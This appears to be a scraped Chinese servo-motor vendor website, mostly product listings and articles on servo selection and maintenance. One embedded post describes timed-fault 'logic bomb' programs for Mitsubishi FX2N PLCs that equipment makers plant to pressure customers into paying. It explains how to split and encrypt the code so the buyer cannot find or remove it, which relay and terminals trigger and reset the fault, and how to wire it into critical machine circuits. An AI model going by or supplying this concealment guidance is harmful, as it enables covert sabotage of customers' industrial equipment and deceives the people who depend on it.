华科星--电机智造筑梦者 伺服电机让自动化生产更简单高效
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  • 发布时间: 2018 - 07 - 11
    拓达自动化有限公司                                                                              拓达自动化有限公司(Tode Technoioies Co.,Ltd.)1980年成立于台湾新竹市,是专业从事电子自动化控制和制造的科技公司。我们基于客户的需求持续改善创新,力求提供全方位的自动化控制解决方案和产品来满足当今越来越高的自动化生产要求。与世界多家知名电机公司保持着长期的技术战略合作关系,近十年来通过产品不断发展革新已经行销全球50几个国家或地区;为了能更好满足内地客户的各种需求和提供更加专业及时的技术服务,公司已经于2008年在浙江嘉兴设立工厂并针对中国市场的发展趋势设计最适化产品,全方位的服务中国自动化机械制造业。拓达交流伺服电机SGES系列产品性能规格拓达工厂实拍伺服电机选型遇到困扰应用领域广泛(适用...
    通讯方式:有多种通讯方式,包括Ethercat、Canopen、Can、Modbus、Cw+Pul等;高可靠性:元器件使用寿命高达10年,为您的使用解除后顾之忧;应用功能齐全以及更加智能化的设置使之适应大范围不同客户的应用要求;
  • 发布时间: 2018 - 07 - 12
    额定电压:48v;额定功率:1000w;控制方式:位置(脉冲)、速度、转矩三种主流控制方式;通讯方式:RS232通讯控制;配置:2500线增量式编码器;耐低温伺服电机(支持零下40度)特点:低压直流供电;闭环控制;调速范围0-3000RPM;直流伺服电机广泛用于各种场合耐低温直流伺服在闸机的应用低温伺服直流伺服在医疗设备中的应用低温伺服直流伺服在机器人也普遍应用低温伺服直流伺服用于AGV搬运耐低温直流伺服的优势:
    拓达TSDA系统低温直流伺服驱动器、直流伺服电机,电压18~80VDC;反馈单元1000线、1250线、2500线;接收600KHZ脉冲频率;华科星电气主营产品:富士伺服电机,东元伺服电机,禾川伺服电机, 拓达伺服电机,拓达步进电机,中大行星减速机,博世力士乐变频器,安全光幕,传感器,开关电源等自动化集成产品。华科星免费提供伺服电机选型与产品技术支持,提供24V/36V/48V国产直流伺服电机,低温直流伺服驱动器,低压伺服电机厂家销售&终身维护,13602631692!
  • 发布时间: 2020 - 05 - 21
    拓达SGYSP伺服驱动器特点:·SGYSP主要适配1000W以上范围的大功率伺服电机,包括增量式及绝对式编码器。·具有高响应、高精度、高可靠性、内部抑震滤波功能。·驱动器内部可以预设多断点对点位置,无需脉冲也能轻松实现位置控制。·独有的负载惯量检测功能,可以更好的估算不同环境下的惯量要求,使设备轻松调节。拓达伺服细节展示拓达伺服电机应用领域广泛拓达伺服电机系统构成没有控制器,不会控制器编程怎么办?拓达工厂实拍
    SGYSP系列驱动器,拓达高性能驱动器,采用先进的制造工艺和质量管控体系使产品具有较高的稳定性,应用功能齐全以及更加智能化的设置使之适应大范围不同客户的应用要求。 SGYS主要适配1000W以上范围的大功率伺服电机,包括增量式及绝对式编码器。
  • 发布时间: 2020 - 05 - 21
    拓达SGAS伺服驱动器特点:·SGAS主要适配200W 到7.5KW范围的大功率伺服电机,包括增量式及绝对式编码器。·具有高响应、高精度、高可靠性、内部抑震滤波功能。·驱动器内部可以预设多断点对点位置,无需脉冲也能轻松实现位置控制。·独有的负载惯量检测功能,可以更好的估算不同环境下的惯量要求,使设备轻松调节。伺服电机选型遇到困扰高性能电机,将工作效率最大化应用领域广泛(适用于市场上所有的自动化设备)每年参加十余次展会走实力派路线20年生产制造经验
    拓达伺服电机驱动器采用先进的制造工艺和质量管控体系; 高响应:速度环响应频率达到800Hz,满足更高速度响应要求场合; 高精度:17bit高分辨率编码器对应,轻松应对各种高精度应用场合,更加精准平稳; 高可靠性:元器件使用寿命高达10年,为您的使用解除后顾之忧; 内部抑制滤波功能:
  • 发布时间: 2018 - 09 - 27
    台湾拓达快递分拣专用伺服滚筒,是根据快递物流行业对物流效率越来越高的要求特别定制而成的,相对传统的普通电机具有启动停止速度快、定位精准、结构紧凑一体化、安装简单等特点,能够极大的提升分拣效率提高单位时间的处理数量,模块一体化的结构使安装调试更加的方便简单设备外观更加简洁美观,并大大缩短设备组装的时间。
    台湾拓达快递分拣专用伺服滚筒,是根据快递物流行业对物流效率越来越高的要求特别定制而成的,相对传统的普通电机具有启动停止速度快、定位精准、结构紧凑一体化、安装简单等特点,能够极大的提升分拣效率提高单位时间的处理数量,模块一体化的结构使安装调试更加的方便简单设备外观更加简洁美观,并大大缩短设备组装的时间。深圳华科星电气总代理,厂家直销,大量现货!
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华科星 - 定时触发故障PLC编程程序

日期: 2019-08-20
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华科星 - 定时触发故障PLC编程程序

PLC编程

一、定时触发故障PLC程序(PLC为实时时钟)
   该程序是用三菱PLC编程软件GX Developer V7.08J(SW7D5C-GPPW)简体中文版所编的程序,仅适用于三菱FX2N系列PLC。
   该程序是为设备制造商收取剩余款项而设的筹码,在设备制造商老板有要求时可以使用,仅适用于信誉度不好的客户。该程序一旦触发,无论设备是否处于运行状态、PLC是否处于运行状态或通电状态,指定时间以后将会准时出现故障。请谨慎使用!
   该程序应当嵌入应用程序之中,为避免他人识破,可以将程序分成多块分别嵌入在应用程序的各个地方。
   为避免他人修改你的程序,应当将整个程序进行加密——设置口令,具体操作方法请参阅程序加密的相关说明。
   M490为故障触点,应当串联或并联在程序多个关键动作回路中。
   X20为定时触发故障复位端子,要求该端子为没有被使用的端子(否则请更换为另一个没有被使用的端子)。需要解除还没有被触发的故障或已经触发的故障时,将该触点和PLC的输入COM端短接即可。如果系统当前时间还没到故障触发时间,一旦该端子与COM端子断开,故障将在预定时间触发!如果系统当前时间已经过了指定的故障触发时间,一旦该端子与COM端子断开,故障将立即触发!如果需要重新指定故障触发时间,就必须得更改指定的故障触发时间——需要对PLC进行编程!
   该程序指定的故障触发时间为2007年1月1日0时0分0秒,可以进行更改。
   该程序中所用到的通用继电器M481-M499、定时器T198、存储区D0-D5,请不要在程序的其它地方使用,否则该程序可能无法正常发挥作用。
   对于三菱其它系列PLC或其它品牌PLC,请对程序作相应更改——各存储器请按照相应存储区域进行更改。
   该程序并没有修改PLC的系统时钟,因此程序中的其它地方或和PLC通信的其它设备所调用的PLC系统时钟反映的是正确的当前日期和时间。
   在程序动作之前,应当检查PLC的系统时钟是否正确反映当前日期和时间(因为PLC的默认系统时钟可能不正确,笔者就遇到过系统时钟快一个小时多一点的情况)。检查方法如下:
   启动三菱PLC编程软件GX Developer V7.08J(SW7D5C-GPPW)简体中文版到一个新的窗口,将电脑与PLC正确连接(具体连接方法请参阅相关说明<比如采用sc09连接电缆或等同功能电缆,加接usb转rs232电缆(需要加安装驱动)等等>),然后点击“在线”——“PLC读取”——“确认”(对于部分笔记本电脑(比如顶星品牌龙尊系列某型号的笔记本电脑),默认串口为COM2,这种情况下需要将COM口选为COM2,具体操作方法不再赘述),然后选中“软元件内存”再点击“确定”......待软元件内存传送到电脑以后,马上检查M8018(年)、M8017(月)、M8016(日)、M8015(时)、M8014(分)、M8013(秒)是否大概是当前正确时间(请注意,软元件内存只是下载时的PLC内存,并不能实时反映PLC程序的当前软元件内存数据。所以,软元件内存数据中反映的系统时钟比PLC当前系统时钟要慢)。或者,采用另外一种更简单的方法:直接PLC在线连接的下拉菜单中选择PLC时间设置选项,然后就可以看见非实时显示的时钟了——这个时间是读取瞬间的时钟,不实时跟随。
   如果PLC的系统时钟不能正确反映当前日期和时间,那就需要对软元件内存进行修改。修改方法为:1、直接PLC在线连接的下拉菜单中选择PLC时间设置选项,然后更改时间就可以了。但该方法一次性只能更改一回时间,一旦更改后时间就实时跟随了,无法再进行更改。如果需要再次更改,需要将该窗口关闭后重新打开,然后再进行时间的更改。 2、通过程序的相关指令(例如MOV指令写时间对应的特殊存储区D8013~D8018或通过TWR指令来写时间,具体指令此处就不再赘述了)。
  通过读出软元件内存后修改软元件内存再写回去的方法是行不通的——经过多次试验,证明了PLC在写入软元件内存时根本不会重写特殊存储区的内容,也就是说特殊存储区没被列入“软元件内存”的范围之内
二、定时触发故障PLC程序(PLC非实时时钟)
   该程序是用三菱PLC编程软件GX Developer V7.08J(SW7D5C-GPPW)简体中文版所编的程序,仅适用于三菱FX2N系列PLC。
   该程序是为设备制造商收取剩余款项而设的筹码,在设备制造商老板有要求时可以使用,仅适用于信誉度不好的客户。该程序一旦触发,无论设备是否处于运行状态、PLC是否处于运行状态或通电状态,一年以后(时间长短可以修改)将会准时出现故障。请谨慎使用!
   该程序应当嵌入应用程序之中,为避免他人识破,可以将程序分成多块分别嵌入在应用程序的各个地方。
   为避免他人修改你的程序,应当将整个程序进行加密——设置口令,具体操作方法请参阅程序加密的相关说明。
   X0是定时触发故障触发端子,X0只要在PLC处于运行状态下至少动作过一次就可以了。
   M490为故障触点,应当串联或并联在程序多个关键动作回路中。
   X1为定时触发故障复位端子,要求在通常情况下,连续动作时间不能超过30秒(时间可以修改),否则请改为另外一个输入触点。需要解除故障触发功能时,让X1保持通电30秒(时间可以修改)即可。也可以将X1改为最后一个未用的输入触点,需要永远解除故障触发功能时,将该触点和PLC的输入COM端短接即可。如果只是让定时触发故障复位端子接通超过30秒(时间可以修改)然后断开,那么一年以后(时间长短可以修改)仍然会准时出现故障。如果希望永远解除定时故障触发功能,请将定时触发故障复位端子和PLC的输入COM端短接即可。
   该程序中所用到的通用继电器M480-M499、保持继电器M1023、定时器T198、存储区D0-D5,请不要在程序的其它地方使用,否则该程序可能无法正常发挥作用。
   对于三菱其它系列PLC或其它品牌PLC,请对程序作相应更改——原保持继电器M1023更换后仍然具有断电保持功能,其它存储器请按照相应存储区域进行更改。
   该程序动作后,PLC的系统时钟并非是实时时钟,因此程序中的其它地方或和PLC编程/PLC程序通信的其它设备所调用的PLC系统时钟并不能正确反映当前日期和时间。

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2019 - 01 - 28
交流伺服电机惯量匹配确定   大多工控技术工程师都清楚,伺服电机在选型及调试中,除考虑电机的扭矩和额定速度等等因素外,还有一项重要的参考指标,就是常常会碰到的惯量匹配问题。那么交流伺服电机惯量要怎么匹配确定呢?下面深圳华科星电气小编为你解答:   惯量匹配对于交流伺服电机选型很重要的,传动惯量对伺服系统的精度,稳定性,动态响应都有影响。惯量大,系统的机械常数大,响应慢,会使系统的固有频率下降,容易产生谐振,因而限制了伺服带宽,影响了伺服精度和响应速度,惯量的适当增大只有在改善低速爬行时有利,因此,机械设计时在不影响系统刚度的条件下,应尽量减小惯量。   衡量机械系统的动态特性时,惯量越小,系统的动态特性反应越好;惯量越大,马达的负载也就越大,越难控制,但机械系统的惯量需和马达惯量相匹配才行。不同的机构,对惯量匹配原则有不同的选择,且有不同的作用表现。   通过以上介绍,交流伺服电机在惯量匹配时,惯性匹配的确定需要根据机械的工艺特点及加工质量要求来确定。通常交流伺服电机的小惯量的高速往复好,大惯量的本身惯量大,而对于基础金属切削机床,一般负载惯量建议应小于电机惯量的5倍。   想要了解更多伺服系统信息,欢迎加微信13602631692沟通,电话同号,来电咨询可免费申请价值百元相关最新产品资料及调试软件!【...
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2019 - 02 - 20
近几年从事伺服控制行业的年轻人越来越少,这是所有自动化伺服电机行业人所共同感受到的,好多来的学徒做不了几天就跑了,真正留下来的很少。导致机械厂很多时候都是人手不够,是不是现在人都不喜欢伺服控制机械制造了呢?干伺服控制有没有前途?听听大家怎么说:●   我在机械厂做过,专生产压铸机,当时开立铣,工件超重,用叉车叉上拖板,精密要求很严,每个工件都要拖表,跳动量不超过0.1mm,用电子尺来分度,镗孔,攻牙最大的1寸,工件复杂,不能分心,一分心就出错了,万一出错工资都不够工件值钱,手从来没干净过,过年后连工资都不要了,走人。●   做机械有技术工资就高,没真正的技术就低,比如说车工死工资也就三千来块吧 ,如果会修模、调试装配处理一些模具发生的问题,那就是大师傅,我们厂有拿两万的,拿七八千也很多,当然如果没技术就一两千了,因为你什么都不会,不能创造价值,别人凭什么给你这么高。至于办公室的肯定也有那一年二三十万的,六七千也很多,办公室学徒也两三千吧,比车间高一点,毕竟文凭在那里。●   我是电气自动化专业,熬了近十年才终于有个技师和电气工程师的称号,电气和机械专业分不开,基本是同样的岗位,而且想要有前途,必须能吃苦受累才能从实践中积累一定经验。●   我从06年接触的机械加工,模具这行业,那时的普工没多少钱。底薪8...
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2019 - 03 - 01
伺服系统控制中的带传动知识带传动是利用张紧在带轮上的柔性带进行运动或动力传递的一种机械传动。根据传动原理的不同,有靠带与带轮间的摩擦力传动的摩擦型带传动,也有靠带与带轮上的齿相互啮合传动的同步带传动。1、带传动种类分类:根据用途不同,有一般工业用传动带、汽车用传动带、农业机械用传动带和家用电器用传动带。摩擦型传动带根据其截面形状的不同又分平带、V带和特殊带(多楔带、圆带)等。平型带传动有开口传动、交叉传动和半交叉传动等,分别适应主动轴与从动轴不同相对位置和不同旋转方向的需要。平型带传动结构简单,但容易打滑,通常用于传动比为3左右的传动。三角带传动三角带传动工作时,带放在带轮上相应的型槽内,靠带与型槽两壁面的摩擦实现传动。三角带通常是数根并用,带轮上有相应数目的型槽。用三角带传动时,带与轮接触良好,打滑小,传动比相对稳定,运行平稳。三角带传动适用于中心距较短和较大传动比(7左右)的场合,在垂直和倾斜的传动中也能较好工作。此外,因三角带数根并用,其中一根破坏也不致发生事故。多楔带传动柔性很好,皮带背面也可用来传递功率。如果围绕每个被驱动皮带轮的包容角足够大,就能够用一条这样的皮带同时驱动车辆的几个附件(交流发电机、风扇、水泵、空调压缩机、动力转向泵等)。它有PH、PJ、PK、PL和PM型等5种断面供选用,其中PK型断面近年来已广泛用于汽车上。这种皮带允许使用比窄型三角带更窄的皮带轮(直...
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2019 - 03 - 15
伺服系统不转的原因,伺服电机选型注意事项,伺服马达常见的故障伺服电机是指在伺服系统中控制机械元件运转的发动机,是一种补助马达间接变速装置。伺服系统是使物体的位置、方位、状态等输出被控量能够跟随输入目标(或给定值)的任意变化的自动控制系统。伺服主要靠脉冲来定位,基本上可以这样理解,伺服电机接收到1个脉冲,就会旋转1个脉冲对应的角度,从而实现位移,因为,伺服电机本身具备发出脉冲的功能,所以伺服电机每旋转一个角度,都会发出对应数量的脉冲,这样,和伺服电机接受的脉冲形成了呼应,或者叫闭环,如此一来,系统就会知道发了多少脉冲给伺服电机,同时又收了多少脉冲回来,这样,就能够很精确的控制电机的转动,从而实现精确的定位,可以达到0.001mm。      伺服系统不转的原因转子绕组有断路(一相断线)或电源一相失电;绕组引出线始末端接错或绕组内部接反;电源回路接点松动,接触电阻大;电动机负载过大或转子卡住;电源电压过低;伺服电机装配太紧或轴承内油脂过硬;轴承卡住。伺服电机选型注意事项 有些系统如传送装置,升降装置等要求伺服电机能尽快停车,而在故障、急停、电源断电时伺服器没有再生制动,无法对电机减速。同时系统的机械惯量又较大,这时对动态制动器的要依据负载的轻重、电机的工作速度等进行选择。有些系统要维持机械装置的静止位置,需电机提供较大的输出转矩,且停止的时间较长。如果使用...
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2019 - 04 - 12
日本伺服电机工业的衰败,中国工业的崛起,这意味着什么近来,最近在网上传的很火的一篇《别了东芝》的文章引发了大白的诸多感慨。昔日日本制造的象征,国民信心的来源东芝轰然倒下。其白色家电卖给了美的,电视转让给了海信。这也引发了我们的思考,日本工业到底怎么了,中国工业的日新月异。 不仅感悟到了点什么。。深圳市华科星电气有限公司是工业自动化行业一家有名的技术服务企业,专注进口伺服电机,机器人伺服电机/系统,精密行星减速机,步进电机,PLC等一站式供应,提供免费技术支持和终身维护服务,欢迎来电咨询:13602631692微信同号,官网:http://www.vacsin.cn!一. 日本伺服电机工业真的走到了尽头了吗?不谋全局者,不足以谋一域。头条看了篇文章,叫做日本电子业哀鸿遍野。略做整理,发现日本企业真的是大不如前,索尼14年里亏了989亿日元,松下亏损了3790亿日元,NEC亏了2900亿日元,日立亏损了3455亿日元,夏普亏了1258亿日元。再回头看看,近两个月来,日本制造业造假门事件接二连三的爆发,神户制钢百年老厂靠数据做假,篡改部分铝和铜制品的强度性能指标,以次充好。问题产品涉及了多家日本汽车企业包括丰田,三菱,日产等。日本高田安全气囊质量不过关导致破产,其气体发生器在展开时会异常破裂。造假早从15年前就开始。三菱燃油效率测试中造假,涉及到车辆有四款车超过60万辆。铃木也被抓到在本...
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2019 - 05 - 05
伺服电机只需一个链接端口       传统的伺服电机通常会有 2 个或2个以上的电气连接端口,一个是动力电源,另一个为信号反馈,有的可能还会有一个单独的接口用于抱闸控制。因为传统的伺服反馈技术,并不能很好的支持将伺服电机的电源动力和反馈信号整合在一根电缆中。  传统的伺服电机在反馈技术中采用的多为非数字式的信号传输方式。但复杂的信号编码接口需要占用较多的线缆芯数,如:Hiperface Stegmann 和 EnDat 2.1,仅数据线就需要 6 至8 芯,加上编码器电源和温控,需要用到超过 10 芯以上的反馈线缆。  同时,传统伺服电机的抗干扰能力相对较弱,所以需要在反馈传输线路上采取足够的信号保护措施,防止因电机数据反馈错误而造成的设备故障,所以这让伺服电缆的制造工艺变得极为复杂。因此,在以往的运控设备系统中,为了确保设备运控系统稳定可靠的性能,即使是使用品质出众的伺服电缆,在系统集成时都需要非常严格的按照要求将伺服电机的动力和反馈线缆分开隔离敷设,更何况是把这两种完全不同类型的线路整合在一根电缆里面呢?  不过经过近几年数字式伺服反馈技术的发展,一大批基于此项技术的单电缆伺服产品,如伺服电机、电缆、接插件等的面市和普及,刷新了我们对伺服电机电气连接技术的认知。前面我们说到,当伺服电机采用纯数字式反馈作为其信号输出方式,由电机到驱动器的数...
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